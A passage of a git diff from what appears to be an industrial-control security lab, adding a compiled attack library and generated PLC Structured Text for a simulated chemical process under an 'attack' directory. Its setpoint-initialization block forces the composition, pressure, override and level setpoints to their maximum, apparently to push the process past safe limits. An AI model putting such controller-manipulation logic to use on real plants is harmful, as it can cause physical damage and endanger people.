+370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; 